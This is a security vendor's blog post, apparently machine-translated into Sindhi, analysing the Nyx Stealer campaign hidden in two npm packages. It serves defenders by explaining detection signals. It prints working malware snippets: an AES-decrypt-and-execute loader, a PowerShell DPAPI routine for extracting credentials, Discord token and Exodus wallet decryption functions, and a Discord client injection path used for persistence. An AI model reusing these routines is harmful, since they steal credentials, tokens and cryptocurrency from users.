اين پي ايم انفوسٽيلر

نئين اين پي ايم انفوسٽيلر دريافت: نائڪس اسٽيلر ڊسڪارڊ سيشن کي اغوا ڪري ٿو

TL، ڊاڪٽر

زائيگيني سيڪيورٽي ريسرچ ٽيم ٻن خراب پيڪيجز ذريعي پهچائي ويندڙ هڪ جديد اين پي ايم انفوسٽيلر مهم جي سڃاڻپ ڪئي: ڪنسولوفائي ۽ سيلف بوٽ-لوفي.

جديد نسخو (consolelofy@1.3.0) هڪ 216KB AES-انڪرپٽ ٿيل پيل لوڊ شامل ڪري ٿو جيڪو رن ٽائم تي ڊيڪرپٽ ٿئي ٿو ۽ ذريعي عمل ڪري ٿو vm.runInNewContext(). ڇاڪاڻ ته خراب منطق مڪمل طور تي انڪرپٽ ٿيل آهي، اسٽرنگ انسپيڪشن تي ڀروسو ڪندڙ جامد اسڪينر عملدرآمد جي وقت تائين ان جي رويي جو مشاهدو نٿا ڪري سگهن.

هڪ ڀيرو ڊيڪرپٽ ٿيڻ کان پوءِ، پيل لوڊ، اندروني طور تي برانڊ ٿيل نائڪس چوري ڪندڙ، مقصد:

  • ڊسڪارڊ تصديق ٽوڪن
  • 50+ برائوزر سند اسٽور
  • 90+ ڪرپٽو ڪرنسي والٽ ايڪسٽينشن
  • روبلوڪس، انسٽاگرام، اسپوٽيفائي، اسٽيم، ٽيليگرام، ۽ ٽِڪ ٽاڪ سيشن
  • ڊسڪارڊ ڊيسڪ ٽاپ ڪلائنٽ جي استقامت

ٻنهي پيڪيجز ۾ سڀني 20 ورجن جي رپورٽ ڪئي وئي ۽ انهن جي خراب هجڻ جي تصديق ڪئي وئي.

هن اين پي ايم انفوسٽيلر جو ٽيڪنيڪل جائزو

روايتي انسٽال-وقت مالويئر جي برعڪس، هي مهم هڪ تي ڀاڙي ٿي رن ٽائيم ڊيڪرپشن ماڊل.

هتي آهن:

  • ڪو به نقصانڪار نه آهي preinstall or postinstall hooks
  • ڪابه واضح انسٽاليشن وقت نيٽ ورڪ ڪال ناهي
  • ڪو به سادي متن جي سند حاصل ڪرڻ وارو منطق ناهي

جڏهن ماڊيول درآمد ڪيو ويندو آهي ته پيل لوڊ چالو ٿي ويندو آهي. سڄو خراب جسم انڪرپٽ ٿيل آهي ۽ صرف رن ٽائم تي ياداشت ۾ ظاهر ٿئي ٿو.

هي ڊيزائن خاص طور تي پيڪيج جي انسٽاليشن دوران ڳولڻ کان بچي ٿو.

هي اين پي ايم انفوسٽيلر اصل ۾ ڪيئن عمل ڪري ٿو

Nyx Stealer ڇا چوري ڪري ٿو ان جو تجزيو ڪرڻ کان اڳ، اسان کي سمجهڻ جي ضرورت آهي اهو ڪيئن عمل ۾ اچي ٿو.

هن اين پي ايم انفوسٽيلر اندر خراب منطق هڪ مستقل نموني جي پيروي ڪري ٿو:

هڪ ننڍڙو لوڊر هڪ وڏي انڪرپٽ ٿيل پيل لوڊ کي ڊيڪرپٽ ڪري ٿو ۽ ان کي Node.js VM حوالي سان متحرڪ طور تي عمل ۾ آڻي ٿو.

هي ڊزائن ڄاڻي واڻي ڪئي وئي آهي. حملو ڪندڙ صرف مبهم ٿيڻ جي پويان ڪارڪردگي نه لڪائي رهيو آهي، اهي آهن جامد نمائش مان خراب ڪوڊ کي مڪمل طور تي هٽائڻ.

اعليٰ سطحي عملدرآمد ماڊل

اعليٰ سطح تي، ريپر چار ڪم ڪري ٿو:

  • SHA-256 استعمال ڪندي هارڊ ڪوڊ ٿيل پاسفريز مان هڪ AES ڪي حاصل ڪري ٿو.
  • AES-256-CBC استعمال ڪندي هڪ وڏي هيڪس-انڪوڊ ٿيل سائفر ٽيڪسٽ کي ڊيڪرپٽ ڪري ٿو.
  • ڊيڪرپٽ ٿيل جاوا اسڪرپٽ کي استعمال ڪندي هلائي ٿو vm.runInNewContext()
  • هڪ سينڊ باڪس مهيا ڪري ٿو جيڪو اڃا تائين طاقتور رن ٽائم پرائميٽوز کي ظاهر ڪري ٿو

بنيادي ٽيڪنڪ جو خلاصو

اتحاد ترتيب / قدر
الورورٿم اي اي ايس-256-سي بي سي
اهم نڪتل SHA-256 (پاسفريز)
شروعاتي ویکٹر (IV) 0x00 جا 16 بائيٽ
Execution vm.runInNewContext(ڊِڪرپٽ ٿيل، سينڊ باڪس)

نازڪ طور تي، سينڊ باڪس گذري ٿو:

  • require
  • process
  • Buffer
  • ٽاٽر
  • ماڊيول ايڪسپورٽ

ان جو مطلب آهي ته ڊيڪرپٽ ٿيل پيل لوڊ مڪمل صلاحيت برقرار رکي ٿو:

  • اسپون عمل
  • فائلون پڙهو ۽ لکو
  • نيٽ ورڪ ڪالون ڪريو
  • مقامي ايپليڪيشنن کي تبديل ڪريو

هي هڪ محدود VM ناهي. اهو هڪ VM آهي جيڪو عملدرآمد ٽرامپولين طور استعمال ٿيندو آهي.

رن ٽائم انڪرپشن پيٽرن (ڪور ايگزيڪيوشن ميڪانيزم)

لوڊر ننڍو آهي.
بدنصيب جسم نه آهي.

هيٺ ڏنل عملدرآمد جو نمونو پيڪيج اندر مليو آهي:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

هي ڇوڪرن کي

ڊيڪرپٽ ٿيل پيل لوڊ:

  • ٿو نه npm پيڪيج اندر سادي متن ۾ موجود آهي
  • سادو کان پوشيده آهي grep يا جامد اسٽرنگ اسڪيننگ
  • صرف رن ٽائم تي ياداشت ۾ شامل ٿئي ٿو
  • مڪمل نوڊ رن ٽائم صلاحيتن سان عمل ڪري ٿو

هي AES + VM عملدرآمد جو ميلاپ هڪ مضبوط رويي جو اشارو آهي اين پي ايم انفو اسٽيلر جامد معائني کان بچڻ جي ڪوشش ڪري رهيو آهي.

ٻين لفظن ۾:

جيڪڏهن توهان پيڪيج سورس ٽري کي اسڪين ڪندا، ته توهان کي چوري ڪندڙ نظر نه ايندو.
توهان هڪ ڊيڪرپٽر ڏسو ٿا.

ڊيڪرپشن کان پوءِ ڇا ٿيندو آهي

هڪ ڀيرو عمل ۾ اچڻ کان پوءِ، Nyx Stealer متوازي ڊيٽا گڏ ڪرڻ واريون لهرون لانچ ڪري ٿو.

لهر 1: برائوزر سند ڪڍڻ

مالويئر:

  • NuGet CDN مان پٿون رن ٽائم ڊائون لوڊ ڪري ٿو.
  • ڪرپٽوگرافڪ لائبريريون انسٽال ڪري ٿو
  • ڪروميم تي ٻڌل سند اسٽور ڪڍي ٿو
  • DPAPI-محفوظ رازن کي ڊيڪرپٽ ڪري ٿو

اصلي بائنڊنگز کي مرتب ڪرڻ جي بدران، اهو پاور شيل کي سڌو سنئون ونڊوز ڊي پي اي پي آءِ کي ڪال ڪرڻ لاءِ استعمال ڪري ٿو.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

هي طريقو:

  • تاليف ڪيل شين کان پاسو ڪري ٿو
  • اصلي ونڊوز ڪرپٽو API استعمال ڪري ٿو
  • انتظامي اوزارن ۾ ملائي ٿو

اهو او ايس-سطح جي سند ڊيڪرپشن آهي، اسڪريپنگ نه.

لهر 2: ڊسڪارڊ ٽوڪن ڊيڪرپشن

چوري ڪندڙ پروٽوڪول کان واقف آهي. اهو ڊسڪارڊ جي انڪرپٽ ٿيل ٽوڪن فارميٽ کي سمجهي ٿو.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

آپريشنل وهڪري:

  • ڊسڪارڊ مان ماسٽر ڪي ڪڍو Local State
  • DPAPI ذريعي ماسٽر ڪي کي ڊيڪرپٽ ڪريو
  • AES-GCM ٽوڪن بلاب کي ڊيڪرپٽ ڪريو
  • ڊسڪورڊ API جي خلاف ٽوڪن جي تصديق ڪريو
  • نائٽرو، بيجز، بلنگ جي معلومات سان مالا مال ڪريو

هي عام سند ڊمپنگ ناهي. اهو پروٽوڪول کان واقف سيشن هائيڪنگ آهي.

لهر 3: ڪرپٽو ڪرنسي والٽ ٽارگيٽنگ

اين پي ايم انفوسٽيلر ڳڻپ ڪري ٿو:

  • 90+ برائوزر والٽ ايڪسٽينشن
  • 27 ڊيسڪ ٽاپ والٽ
  • ٿڌي پرس جا رستا
  • ايڪسوڊس سيڊ فائلون

ٻج جي ڊيڪرپشن جي ڪوشش جي مثال:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

جيڪڏهن ڪامياب ٿئي ٿو، ته والٽ سمجهوتو فوري ۽ ناقابل واپسي آهي.

هي مهم جي سڀ کان وڌيڪ قدر واري مانيٽائيزيشن ویکٹر جي نمائندگي ڪري ٿو.

ڊسڪارڊ ڊيسڪ ٽاپ انجڪشن ذريعي استقامت

سندون حاصل ڪرڻ کان پوءِ، Nyx Stealer مقامي کي تبديل ڪندي ثابت قدمي جي ڪوشش ڪري ٿو رعايت مختاران مائي.

ھدايتون

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

آپريشنل تسلسل

انفو اسٽيل ڪندڙ هيٺيان قدم انجام ڏئي ٿو:

  • هلندڙ ڊسڪارڊ عملن کي ختم ڪري ٿو
  • انسٽال ٿيل ڊسڪارڊ مختلف قسمن کي ڳولي ٿو (اسٽيبل، ڪينري، پي ٽي بي)
  • اوور رائٽ ڪري ٿو discord_desktop_core/index.js
  • حملي آور جي ڪنٽرول ۾ ويب هُڪ منطق داخل ڪري ٿو.
  • ڊسڪارڊ ٻيهر شروع ٿئي ٿو

هي يقيني بڻائي ٿو ته مستقبل جي ڊسڪارڊ سيشن خودڪار طريقي سان نوان تصديق ٽوڪن ليڪ ڪن ٿا.

اهم ڳالهه اها آهي ته، هي استقامت شيڊول ٿيل ڪمن يا رجسٽري تبديلين تي ڀروسو نٿي ڪري. اهو ايپليڪيشن-سطح ڪوڊ ترميم کي استعمال ڪري ٿو، هڪ وڌيڪ چوري وارو طريقو.

جيتوڻيڪ خراب npm پيڪيج بعد ۾ هٽايو وڃي ٿو، ڊسڪارڊ ڪلائنٽ سمجهوتو رهندو.

ٽيڪنيڪل مقابلو: جائز سيلف بوٽ بمقابله اين پي ايم انفوسٽيلر

اتحاد جائز لائبريري Nyx npm انفوسٽيلر
بچاء ڪوڊنگ ڪو مڪمل AES-انڪرپٽ ٿيل پيل لوڊ
رن ٽائم وي ايم گهربل نه آهي vm.runInNewContext اعدام
سند جي رسائي صرف ڊسڪارڊ API برائوزر، والٽ، ڊي پي اي پي آءِ
ٻاهرين ڊائون لوڊ نه پٿون جو رن ٽائم NuGet ذريعي
تڪليف نه ڊسڪارڊ ڪلائنٽ انجيڪشن
تاليف ڪرڻ بوٽ آٽوميشن سند جي ٻيهر وڪري

انڪرپشن پرت اڪيلو ئي هن مهم کي هڪ عام اوپن سورس فورڪ کان الڳ ڪري ٿو.

هڪ جائز ڊسڪارڊ سيلف بوٽ وٽ ڪو به سبب ناهي ته هو پنهنجي پوري ڪوڊ بيس کي انڪرپٽ ڪري، ڊي پي اي پي آءِ تائين رسائي لاءِ پاور شيل کي اسپون ڪري، ٻاهرين رن ٽائمز ڊائون لوڊ ڪري، يا ڊيسڪ ٽاپ ايپليڪيشن انٽرنل کي تبديل ڪري. جڏهن اهي صلاحيتون هڪ انحصار اندر ظاهر ٿين ٿيون جيڪو ڊسڪارڊ رابطي کي خودڪار ڪرڻ جي دعويٰ ڪري ٿو، ته آرڪيٽيڪچرل بي ترتيب کي نظرانداز ڪرڻ ناممڪن ٿي ويندو آهي.

جاچ جي نقطي نظر کان، هي اين پي ايم انفوسٽيلر ڪيترن ئي پرتن ۾ نشان ڇڏي ٿو. جڏهن ته، سڀ کان وڌيڪ قابل اعتماد اشارا هارڊ ڪوڊ ٿيل URL يا مخصوص فائل رستا نه آهن، ڇاڪاڻ ته اهي نسخن جي وچ ۾ تبديل ٿي سگهن ٿا. ان جي بدران، پائيدار سگنل ساخت وارا آهن.

پيڪيج جي سطح تي، سڀ کان مضبوط ڳاڙهو جهنڊو هڪ وڏي انڪرپٽ ٿيل پيل لوڊ ۽ هڪ رن ٽائم ڊيڪرپشن ريپر جو ميلاپ آهي جيڪو فوري طور تي عمل ڪري ٿو vm.runInNewContext(). جڏهن ته صرف انڪرپشن فطري طور تي نقصانڪار ناهي، AES ڊيڪرپشن استعمال ڪرڻ کان پوءِ ڊسڪارڊ يوٽيلٽي پيڪيج اندر متحرڪ VM عمل درآمد انتهائي غير معمولي آهي.

ميزبان سطح تي، مشڪوڪ نمونن ۾ غير متوقع DPAPI ڊيڪرپشن سرگرمي، Node.js انحصار جي حوالي سان عمل پيدا ڪرڻ، ۽ مقامي ايپليڪيشن فائلن جي ترميم شامل آهن جيڪي ڪڏهن به ٽئين پارٽي لائبريرين طرفان تبديل نه ٿيڻ گهرجن. ساڳئي طرح، نيٽ ورڪ پرت تي، ڊولپمينٽ انحصار پاران شروع ڪيل آئوٽ بائونڊ ويب هوڪ طرز جي رابطي هڪ ٻي بامعني بي ضابطگي جي نمائندگي ڪري ٿي.

ٻين لفظن ۾، ڳولا جي مٿاڇري سمجهوتي جو هڪ به اشارو ناهي. اهو انڪرپشن، رن ٽائيم ايگزيڪيوشن، سند جي رسائي، ۽ مسلسل رويي جو لاڳاپو آهي جيڪو خطري کي ظاهر ڪري ٿو.

زائيگيني سان ڳولا ۽ گهٽتائي

اين پي ايم انفوسٽيلر

هن اين پي ايم انفو اسٽيلر جي سڃاڻپ ڪئي وئي هئي زائيگيني جي مالويئر جي ابتدائي وارننگ (MEW) سادي دستخط جي ميلاپ جي بدران پرت واري رويي جي رابطي ذريعي.

سڃاتل خراب تارن جي ڳولا ڪرڻ بدران، MEW مڪمل سورس ٽري ۾ ساخت جي غيرمعموليات جو جائزو وٺندو آهي. هن صورت ۾، ڪيترن ئي سگنلن جي ڪنورجن مان ڳولا پيدا ٿي: ماڊيول انٽري پوائنٽ ۾ هڪ ايمبيڊڊ AES ڊيڪرپشن روٽين، VM حوالي سان فوري طور تي عمل، ۽ هڪ واضح صلاحيت-کان-ارادي بي ترتيب.

اهم ڳالهه اها آهي ته، انهن مان ڪو به سگنل اڪيلو خراب ارادي کي ثابت نٿو ڪري. جڏهن ته، جڏهن گڏجي تجزيو ڪيو وڃي ٿو، ته اهي رن ٽائيم رويي کي لڪائڻ جي ڪوشش کي ظاهر ڪن ٿا. هي پرت وارو طريقو اعليٰ اعتماد واري سپلائي چين جي خطرن جي سڃاڻپ ڪندي غلط مثبت کي گهٽائي ٿو.

وڌيڪ، هي ڪيس ڏيکاري ٿو ته صرف انسٽاليشن وقت جي چڪاس ڇو ڪافي ناهي. خراب منطق لائف سائيڪل اسڪرپٽ ۾ نه رهندو آهي. اهو صرف ماڊل لوڊ ٿيڻ کان پوءِ چالو ٿئي ٿو ۽ صرف هڪ ڀيرو ياداشت ۾ ڊيڪرپٽ ٿيڻ کان پوءِ نظر اچي ٿو. تنهن ڪري، اثرائتي دفاع لاءِ انڪرپشن-آگاهي تجزيو، رويي جي نموني جي سڃاڻپ، ۽ انسٽاليشن واقعن کان ٻاهر مسلسل انحصار جي نگراني جي ضرورت آهي.

رجسٽري کي هٽائڻ رد عمل آهي. رن ٽائم-آگاهي تجزيو بچاءُ وارو آهي.

هي اين پي ايم انفوسٽيلر ڇو اهم آهي

Nyx Stealer npm-based مالويئر ۾ هڪ ساختياتي ارتقا جي نمائندگي ڪري ٿو.

تاريخي طور تي، ڪيترائي خراب پيڪيجز نظر ايندڙ انسٽال ٽائم اسڪرپٽ يا واضح سندي ايڪسفلٽريشن اينڊ پوائنٽس تي ڀروسو ڪندا هئا. ان جي ابتڙ، هي مهم پنهنجي پيل لوڊ کي انڪرپٽ ڪري ٿي، رن ٽائم تي عملدرآمد کي ملتوي ڪري ٿي، جائز آپريٽنگ سسٽم APIs کي استعمال ڪري ٿي، ۽ قابل اعتماد ايپليڪيشنن اندر استحڪام قائم ڪري ٿي.

نتيجي طور، حملي آور کي npm انفراسٽرڪچر جو استحصال ڪرڻ جي ضرورت ناهي. ان جي بدران، حملو ڪامياب ٿئي ٿو ڇاڪاڻ ته انحصار جي انسٽاليشن اعتماد کي ظاهر ڪري ٿي. ڊولپرز فرض ڪن ٿا ته لائبريري درآمد ڪرڻ هڪ محفوظ آپريشن آهي، خاص طور تي جڏهن اهو پاڻ کي هڪ مشهور اوزار جي هڪ قابل قبول فورڪ طور پيش ڪري ٿو.

جيئن ماحولياتي نظام وڌندا رهن ٿا ۽ فورڪس وڌندا رهن ٿا، اهو ضمني اعتماد جي حد هڪ وڌندڙ پرڪشش حملي جي سطح بڻجي ويندي آهي. تنهن ڪري، جديد اين پي ايم انفو اسٽيلرز جي خلاف دفاع ڪرڻ لاءِ جامد تارن جي ڳولا جي بدران آرڪيٽيڪچرل نمونن کي سڃاڻڻ جي ضرورت آهي.

آخرڪار، هي مهم هڪ اهم سبق کي مضبوط ڪري ٿي software supply chain security: سڀ کان وڌيڪ خطرناڪ خطرا اهي نه آهن جيڪي پهرين نظر ۾ بدنيتي تي ٻڌل نظر اچن ٿا، پر اهي جيڪي ساخت جي لحاظ کان جائز نظر اچن ٿا جيستائين رن ٽائم انهن جي حقيقي رويي کي ظاهر نه ڪري.

اسڪا-ٽولز-سافٽ ويئر-ڪمپوزيشن-تجزيو-ٽولز
پنهنجي سافٽ ويئر خطرن کي ترجيح ڏيو، درست ڪريو، ۽ محفوظ ڪريو
پنهنجو مفت اڪائونٽ حاصل ڪريو.
ڪنهن به ڪريڊٽ ڪارڊ جي ضرورت نه آهي.

پنهنجي سافٽ ويئر ڊولپمينٽ ۽ پهچائڻ کي محفوظ بڻايو

زائيگيني پراڊڪٽ سوٽ سان